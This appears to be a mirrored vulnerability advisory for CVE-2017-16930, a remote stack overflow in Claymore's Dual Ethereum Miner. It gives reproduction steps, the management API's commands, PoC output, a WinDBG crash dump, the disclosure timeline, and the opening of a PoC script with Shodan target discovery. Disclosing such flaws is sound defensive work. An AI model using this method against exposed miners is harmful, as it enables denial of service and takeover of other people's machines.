Lucene search

K
seebugKnownsecSSV:96933
HistoryDec 06, 2017 - 12:00 a.m.

Claymore's Dual Ethereum Miner unauth stack buffer overflow(CVE-2017-16930)

2017-12-0600:00:00
Knownsec
www.seebug.org
186

0.1 Low

EPSS

Percentile

94.9%

VuNote

Author:       <github.com/tintinweb>
Ref:          https://github.com/tintinweb/pub/tree/master/pocs/cve-2017-16930
Version:      0.2
Date:         Nov 30th, 2017

Tag:          claymore dual ethereum decred crypto currency miner

Overview

Name:         Claymore's Dual ETH + DCR/SC/LBC/PASC GPU Miner
Vendor:       nanopool/claymore
References:   * https://github.com/nanopool/Claymore-Dual-Miner
              * https://bitcointalk.org/index.php?topic=1433925.0

Version:        10.1 [2]
Latest Version: 10.1 [2]
Other Versions: <= 10.1
Platform(s):    windows, linux
Technology:     C/C++

Vuln Classes:   CWE-121: Stack-based Buffer Overflow
Origin:         remote
Min. Privs.:    None

Source:         Closed; runtime protection mechanisms

CVE:	        CVE-2017-16930

Description

A specialized mining solution with remote management interface for mining ethereum / decred / siacoin / LBRY Credits /
pascal coin.

quote website [1][2]

    - Supports new "dual mining" mode: mining both Ethereum and Decred/Siacoin/Lbry/Pascal at the same time, with no impact on Ethereum mining speed. Ethereum-only mining mode is supported as well.
    - Effective Ethereum mining speed is higher by 3-5% because of a completely different miner code - much less invalid and outdated shares, higher GPU load, optimized OpenCL code, optimized assembler kernels.
    - Supports both AMD and nVidia cards, even mixed.
    - No DAG files.
    - Supports all Stratum versions for Ethereum: can be used directly without any proxies with all pools that support eth-proxy, qtminer or miner-proxy.
    - Supports Ethereum and Siacoin solo mining.
    - Supports both HTTP and Stratum for Decred.
    - Supports both HTTP and Stratum for Siacoin. Note: not all Stratum versions are supported currently for Siacoin.
    - Supports Stratum for Lbry and Pascal.
    - Supports failover.
    - Displays detailed mining information and hashrate for every card.
    - Supports remote monitoring and management.
    - Supports GPU selection, built-in GPU overclocking features and temperature management.
    - Supports Ethereum forks (Expanse, etc).
    - Windows and Linux versions.

Summary

> ā€œNo FOMO no cry.ā€

Claymoreā€™s Dual ETH minerā€™s remote management interface is prone to an unauthenticated remote stack buffer overwrite that
can be triggered by simply sending an overly long api request to the management interface resulting in an unbound
(v)sprintf style buffer overwrite when trying to log to file or console.

  • unauthenticated
  • remote
  • stack buffer overwrite

conditions:

  • remote management must be enabled: -mport <port>
  • also works in read-only mode (-<port>)

Successful exploitation can be turned into:

  • DoS - taking profit from crashing the miner
  • RCE - execute arbitrary code, silently take over the mining node or host system.

See attached PoC.

Details

Service Discovery:

  • shodan: ā€˜eth resultā€™ lists about 170-240 publicly available instances [3] with significant hash power
  • banner:
&lt;html&gt;&lt;body bgcolor="#000000" style="font-family: monospace;"&gt;
{"result": ["10.1 - ETH", "4286", "149336;7492;0", "30620;29877;28285;30605;29946", "0;0;0", "off;off;off;off;off", "62;65;51;64;61;75;51;67;62;72", "eth-us-east1.nanopool.org:9999", "0;1;0;0"]}<br><br><font color="#ff0000">Remote management: read-only mode, command miner_file ignored
</font><br><font color="#00ff00">ETH: 11/22/17-15:28:38 - SHARE FOUND - (GPU 3)
....

Remote Management API overview:

# &gt;nc -L -p 3333
{"id":0,"jsonrpc":"2.0","method":"miner_getstat1"}
{"id":0,"jsonrpc":"2.0","method":"miner_file","params":["epools.txt","&lt;encoded&gt;"]}
{"id":0,"jsonrpc":"2.0","method":"miner_getfile","params":["config.txt"]}
{"id":0,"jsonrpc":"2.0","method":"miner_restart"}
{"id":0,"jsonrpc":"2.0","method":"miner_reboot"}
{"id":0,"jsonrpc":"2.0","method":"control_gpu","params":["0", "1"]}
{"id":0,"jsonrpc":"2.0","method":"control_gpu","params":["-1", "0"]}
{"id":0,"jsonrpc":"2.0","method":"control_gpu","params":["0", "2"]}
{"id":0,"jsonrpc":"2.0","method":"miner_file","params":["config.txt","&lt;encoded&gt;"]}
{"id":0,"jsonrpc":"2.0","method":"miner_file","params":["dpools.txt","&lt;encoded&gt;"]}

EthDcrMiner64 comes with an optional http/tcp based remote management interface that can be enabled by providing
-mport &lt;[-]port&gt; as a commandline argument. Providing a negative port starts the remote management interface in
readonly mode. The remote management interfaces request handler checks for a list of known commands (see Remote
Management API overview). Commands are being logged to file. When the handler encounters an invalid command a logline
like log(level, "Remote management: unknown command %s\n", request) is being emitted. This method internally calls
sprintf multiple times writing to a fixed size buffer of 0x4000 (16384) bytes. Any attempt to log more than 0x4000
bytes us causing a stack buffer overwrite. Thereā€™s likely multiple occurences of the same bug within this software.

//see PoC vector: method, extrafield, psw

See attached PoC.

Proof of Concept

Prerequisites:

  • compatible AMD/NVidia hardware

RCE:

  1. start the miner, specify any pool and the readonly management port 3333 with a management password 123456
#&gt; EthDcrMiner64.exe -epool http://192.168.0.1:8545 -mport -3333

ā•”ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•—
ā•‘     Claymore's Dual ETH + DCR/SC/LBC/PASC GPU Miner v10.0      ā•‘
ā•šā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•

...
Total cards: 1
ETH - connecting to 192.168.0.1:8545
DUAL MINING MODE ENABLED: ETHEREUM+DECRED
DCR: Stratum - connecting to 'pasc-eu2.nanopool.org' &lt;213.32.29.168&gt; port 15555
ETH: HTTP SOLO mode
Ethereum HTTP requests time (-etht) is set to 200 ms
Watchdog enabled
Remote management (READ-ONLY MODE) is enabled on port 3333

DCR: Stratum - Connected (pasc-eu2.nanopool.org:15555)
DCR: Authorized
DCR: 11/22/17-22:05:12 - New job from pasc-eu2.nanopool.org:15555
  1. wait for it to initialize
  2. run poc.py --vector=method localhost:3333 (using the ā€œmethodā€ vector)
#&gt; poc.py 127.0.0.1:3333
[poc.py -             &lt;module&gt;() ][    INFO] --start--
[poc.py -             &lt;module&gt;() ][    INFO] # Claymore's Dual ETH + DCR/SC/LBC/PASC GPU Miner - Remote Buffer Overwrite
[poc.py -             &lt;module&gt;() ][    INFO] # github.com/tintinweb
[poc.py -         iter_targets() ][ WARNING] shodan apikey missing! shodan support disabled.
[poc.py -             &lt;module&gt;() ][    INFO] [i] Target: 127.0.0.1:3333
[poc.py -             &lt;module&gt;() ][    INFO] [+] connected.
[poc.py -             &lt;module&gt;() ][    INFO] [+] peer disappeared. vulnerable!
[poc.py -             &lt;module&gt;() ][ WARNING] error(10054, 'Eine vorhandene Verbindung wurde vom Remotehost geschlossen')
[poc.py -             &lt;module&gt;() ][    INFO] --done--
  1. EthDcrMiner64.exe faults with INVALID_POINTER_WRITE_EXPLOITABLE (stack overwrite, see stacktrace)
GPU0 t=57C fan=0%
Remote management: unknown command miner_getstat1 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
.... &lt;crash&gt;

WinDBG:

!analyze -v -f

*** wait with pending attach
&lt;...&gt;
Break-in sent, waiting 30 seconds...
(12ec.262c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
&lt;...&gt;
EthDcrMiner64+0x5449f:
00007ff6`42e9449f 8808            mov     byte ptr [rax],cl ds:00000059`b3b20000=??
0:018&gt; !analyze -v -f
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************

&lt;...&gt;

FAULTING_IP:
EthDcrMiner64+5449f
00007ff6`42e9449f 8808            mov     byte ptr [rax],cl

EXCEPTION_RECORD:  ffffffffffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 00007ff642e9449f (EthDcrMiner64+0x000000000005449f)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 0000000000000001
Parameter[1]: 00000059b3b20000
Attempt to write to address 00000059b3b20000

CONTEXT:  0000000000000000 -- (.cxr 0x0;r)
rax=00000059b3b20000 rbx=00000059b3b179b0 rcx=00000212e75e1061
rdx=00000059b3b17cb0 rsi=00000000000063bd rdi=00000059b3b179b0
rip=00007ff642e9449f rsp=00000059b3b17900 rbp=00000059b3b17cb0
r8=00000059b3b179b0  r9=00000059b3b179b0 r10=0000000000000000
r11=0000000000000200 r12=00000000ffffffff r13=00000059b3b1fd98
r14=00000212e75e9367 r15=0000000000000000
iopl=0         nv up ei pl nz na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
EthDcrMiner64+0x5449f:
00007ff6`42e9449f 8808            mov     byte ptr [rax],cl ds:00000059`b3b20000=??

FAULTING_THREAD:  000000000000262c
PROCESS_NAME:  EthDcrMiner64.exe
ERROR_CODE: (NTSTATUS) 0xc0000005
EXCEPTION_CODE: (NTSTATUS) 0xc0000005
EXCEPTION_PARAMETER1:  0000000000000001
EXCEPTION_PARAMETER2:  00000059b3b20000
WRITE_ADDRESS:  00000059b3b20000
FOLLOWUP_IP:
EthDcrMiner64+5449f
00007ff6`42e9449f 8808            mov     byte ptr [rax],cl

NTGLOBALFLAG:  0
APPLICATION_VERIFIER_FLAGS:  0
APP:  ethdcrminer64.exe
ANALYSIS_VERSION: 6.3.9600.16384 (debuggers(dbg).130821-1623) amd64fre
BUGCHECK_STR:  APPLICATION_FAULT_INVALID_POINTER_WRITE_EXPLOITABLE
PRIMARY_PROBLEM_CLASS:  INVALID_POINTER_WRITE_EXPLOITABLE
DEFAULT_BUCKET_ID:  INVALID_POINTER_WRITE_EXPLOITABLE
LAST_CONTROL_TRANSFER:  from 00007ff642e9456d to 00007ff642e9449f

STACK_TEXT:
00000059`b3b17900 00007ff6`42e9456d : 00007ff6`42ebc200 00007ff6`42e890d9 00007ff6`42ec87a0 00000212`e21cfbc0 : EthDcrMiner64+0x5449f
00000059`b3b17930 00007ff6`42e941f4 : 00000212`e75e10c0 00000059`b3b17a70 00000000`ffff199b 00000000`00000000 : EthDcrMiner64+0x5456d
00000059`b3b17970 00007ff6`42e875f0 : 00000000`00000000 00000000`00000000 00000059`b3b17d50 00000000`00000000 : EthDcrMiner64+0x541f4
00000059`b3b17c90 00007ff6`42e4a633 : 00000000`00000002 00000212`e75e10c0 00000212`e75e10c0 00000000`000003d8 : EthDcrMiner64+0x475f0
00000059`b3b17cf0 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : EthDcrMiner64+0xa633
00000059`b3b1fd80 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1fd88 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1fd90 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1fd98 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1fda0 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1fda8 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1fdb0 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1fdb8 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1fdc0 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1fdc8 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1fdd0 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1fdd8 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1fde0 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1fde8 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1fdf0 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1fdf8 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1fe00 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1fe08 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1fe10 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1fe18 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1fe20 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1fe28 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1fe30 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1fe38 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1fe40 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1fe48 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1fe50 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1fe58 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1fe60 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1fe68 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1fe70 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1fe78 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1fe80 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1fe88 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1fe90 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1fe98 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1fea0 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1fea8 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1feb0 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1feb8 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1fec0 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1fec8 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1fed0 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1fed8 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1fee0 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1fee8 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1fef0 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1fef8 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1ff00 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1ff08 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1ff10 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1ff18 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1ff20 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1ff28 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1ff30 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1ff38 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1ff40 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1ff48 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1ff50 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1ff58 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1ff60 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1ff68 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1ff70 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1ff78 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1ff80 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1ff88 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1ff90 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1ff98 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1ffa0 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1ffa8 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1ffb0 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1ffb8 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1ffc0 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1ffc8 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1ffd0 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1ffd8 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 61616161`61616161 : 0x61616161`61616161
00000059`b3b1ffe0 61616161`61616161 : 61616161`61616161 61616161`61616161 61616161`61616161 00000000`00000000 : 0x61616161`61616161
00000059`b3b1ffe8 61616161`61616161 : 61616161`61616161 61616161`61616161 00000000`00000000 00000000`00000000 : 0x61616161`61616161
00000059`b3b1fff0 61616161`61616161 : 61616161`61616161 00000000`00000000 00000000`00000000 00000000`00000000 : 0x61616161`61616161
00000059`b3b1fff8 61616161`61616161 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : 0x61616161`61616161
00000059`b3b20000 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : 0x61616161`61616161


STACK_COMMAND:  .cxr 0x0 ; kb
SYMBOL_STACK_INDEX:  0
SYMBOL_NAME:  ethdcrminer64+5449f
FOLLOWUP_NAME:  MachineOwner
MODULE_NAME: EthDcrMiner64
IMAGE_NAME:  EthDcrMiner64.exe
DEBUG_FLR_IMAGE_TIMESTAMP:  59a94db0
FAILURE_BUCKET_ID:  INVALID_POINTER_WRITE_EXPLOITABLE_c0000005_EthDcrMiner64.exe!Unknown
BUCKET_ID:  APPLICATION_FAULT_INVALID_POINTER_WRITE_EXPLOITABLE_ethdcrminer64+5449f
ANALYSIS_SOURCE:  UM
FAILURE_ID_HASH_STRING:  um:invalid_pointer_write_exploitable_c0000005_ethdcrminer64.exe!unknown
FAILURE_ID_HASH:  {08a7b27a-6079-b811-3504-3dff38b979e1}
Followup: MachineOwner
---------

Patch

n/A - closed source

Notes

  • Timeline

    11/22/2017 - vendor contact: report sent
    11/23/2017 - vendor response:
                 fixed version 10.2 ready and publicly available
                 request for 7+ day embargo
                 vendor statement:
                       The root case is that remote management was designed to be used in local network only.
                       But some "smart" people want to share ports to everyone and then catch problems. I will close
                       the issues you found, but attacker will be able to do something bad anyway, at least execute ddos
                       to prevent remote management work as expected.
    12/04/2017 - public disclosure
    
  • Vendor Changelog

Latest version is v10.2:

    - fixed critical issues in remote management feature (attacker could crash miner even in read-only mode).
    - now miner supports up to #299 epoch.
    - in rare cases ADL API calls can hang, now watchdog checks it as well.
    - improved "-minspeed" option, check readme for details.
    - added "miner_getstat2" command to remote management, check "API.txt" for details.
    - EthMan: added detailed stats mode in main window.
    - a few minor improvements in both miner and EthMan.
  • Runtime Protection
* Linux: packer / just compression
 * gdb
* Windows: protector / anti-debug, vmprotect?
 * x64dbg: DbgUiRemoteBreakin &lt;- RET

                                                #!/usr/bin/env python
# -*- coding: UTF-8 -*-
# github.com/tintinweb
#
#
# optional: pip install pysocks (https://pypi.python.org/pypi/PySocks)
#
#
'''
 
API overview:
    # >nc -L -p 3333
    {"id":0,"jsonrpc":"2.0","method":"miner_getstat1"}
    {"id":0,"jsonrpc":"2.0","method":"miner_file","params":["epools.txt","<encoded>"]}
    {"id":0,"jsonrpc":"2.0","method":"miner_getfile","params":["config.txt"]}
    {"id":0,"jsonrpc":"2.0","method":"miner_restart"}
    {"id":0,"jsonrpc":"2.0","method":"miner_reboot"}
    {"id":0,"jsonrpc":"2.0","method":"control_gpu","params":["0", "1"]}
    {"id":0,"jsonrpc":"2.0","method":"control_gpu","params":["-1", "0"]}
    {"id":0,"jsonrpc":"2.0","method":"control_gpu","params":["0", "2"]}
    {"id":0,"jsonrpc":"2.0","method":"miner_file","params":["config.txt","<encoded>"]}
    {"id":0,"jsonrpc":"2.0","method":"miner_file","params":["dpools.txt","<encoded>"]}
 
 
Exec:
    #> EthDcrMiner64.exe -epool http://192.168.0.1:8545 -mport -3333
 
    ā•”ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•—
    ā•‘     Claymore's Dual ETH + DCR/SC/LBC/PASC GPU Miner v10.0      ā•‘
    ā•šā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•
 
    ...
    Total cards: 1
    ETH - connecting to 192.168.0.1:8545
    DUAL MINING MODE ENABLED: ETHEREUM+DECRED
     DCR: Stratum - connecting to 'pasc-eu2.nanopool.org' <213.32.29.168> port 15555
    ETH: HTTP SOLO mode
    Ethereum HTTP requests time (-etht) is set to 200 ms
    Watchdog enabled
    Remote management (READ-ONLY MODE) is enabled on port 3333
 
     DCR: Stratum - Connected (pasc-eu2.nanopool.org:15555)
     DCR: Authorized
     DCR: 11/22/17-22:05:12 - New job from pasc-eu2.nanopool.org:15555
 
    ... <run poc.py --vector=method <target>>
 
    GPU0 t=57C fan=0%
    Remote management: unknown command miner_getstat1 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    .... <crash>
 
 
PoC:
    #> poc.py 127.0.0.1:3333
    [poc.py -             <module>() ][    INFO] --start--
    [poc.py -             <module>() ][    INFO] # Claymore's Dual ETH + DCR/SC/LBC/PASC GPU Miner - Remote Buffer Overwrite
    [poc.py -             <module>() ][    INFO] # github.com/tintinweb
    [poc.py -         iter_targets() ][ WARNING] shodan apikey missing! shodan support disabled.
    [poc.py -             <module>() ][    INFO] [i] Target: 127.0.0.1:3333
    [poc.py -             <module>() ][    INFO] [+] connected.
    [poc.py -             <module>() ][    INFO] [+] peer disappeared. vulnerable!
    [poc.py -             <module>() ][ WARNING] error(10054, 'Eine vorhandene Verbindung wurde vom Remotehost geschlossen')
    [poc.py -             <module>() ][    INFO] --done--
 
 
'''
 
import logging
import json
import time
import argparse
import socket
try:
    import socks
except ImportError:
    print "!! cannot import socks. no socks support!"
    socks = None
try:
    import shodan
